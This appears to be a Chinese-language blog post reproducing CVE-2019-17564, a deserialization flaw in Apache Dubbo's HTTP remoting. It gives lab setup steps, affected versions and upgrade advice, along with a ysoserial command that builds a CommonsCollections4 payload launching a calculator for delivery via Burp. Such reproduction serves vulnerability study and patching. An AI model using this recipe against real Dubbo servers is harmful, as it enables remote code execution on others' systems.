CVE-2019-17564 Apache Dubbo 反序列化漏洞利用

【背景】
2020年2月10号,Apache Dubbo的反序列化漏洞(CVE-2019-17564)被公布,使用 Dubbo-Rpc-Http (2.7.3 or lower) 和
Spring-Web (5.1.9.RELEASE or lower)的版本可被利用。
Apache Dubbo |ˈdʌbəʊ| 是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。
Dubbo原属于阿里巴巴的开源项目,2018年阿里巴巴捐赠给 Apache 基金会。
【漏洞详情】
在使用http协议的Dubbo中,会调用org.springframework.remoting.rmi.RemoteInvocationSerializingExporter 类,该类中 readObject()时未对用户传入的post数据做校验:

其实是spring的问题
导致服务器存在特定gadgets的情况下可用作RCE(远程代码执行),这里在dubbo provider上用 JDK8U20 并添加 commons-collections4 4.0 复现。
克隆 https://github.com/apache/dubbo-samples 到本地。
在eclipse中导入一个maven项目,选择 dubbo-samples/java/dubbo-samples-http/ 项目。
修改pom.xml中dubbo为受影响的版本(2.7.3):

1 假设存在gadgets,可以利用。

2 修改项目JDK到JDK8U20

在pom.xml中引入commons-collections4,在pom.xml中的标签中添加:

<dependency>
		    <groupId>org.apache.commons</groupId>
		    <artifactId>commons-collections4</artifactId>
		    <version>4.0</version>
</dependency>

在 org.apache.dubbo.samples.http.HttpProvider中引入commons-collections4:

import org.apache.commons.collections4.Bag;
import org.apache.commons.collections4.bag.HashBag;

Bag<String> bag = new HashBag<>();

3 下载zookeeper,配置zookeeper,启动zookeeper。

4 先运行 HttpProvider ,抓包,再运行 HttpConsumer。即可得到dubbo使用http协议的报文。

5 使用ysoserial生成payload,粘贴到burp的 payload里。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 "gnome-calculator" > CommonsCollections4_gnome-calculator.ser
paste from file:

【风险评级】
高危
【影响版本】
Dubbo 2.7.0 to 2.7.4
Dubbo 2.6.0 to 2.6.7
Dubbo all 2.5.x versions
【修复建议】
将项目中的 org.apache.dubbo.dubbo 包升级到最新(当前最新版2.7.5)。
腾讯御界可检测此漏洞的攻击。
【参考链接】

https://qiita.com/shimizukawasaki/items/39c9695d439768cfaeb5
https://meterpreter.org/cve-2019-17564-apache-dubbo-deserialization-vulnerability-alert/
https://www.mail-archive.com/[email protected]/msg06225.html

Leave a Reply

Your email address will not be published. Required fields are marked *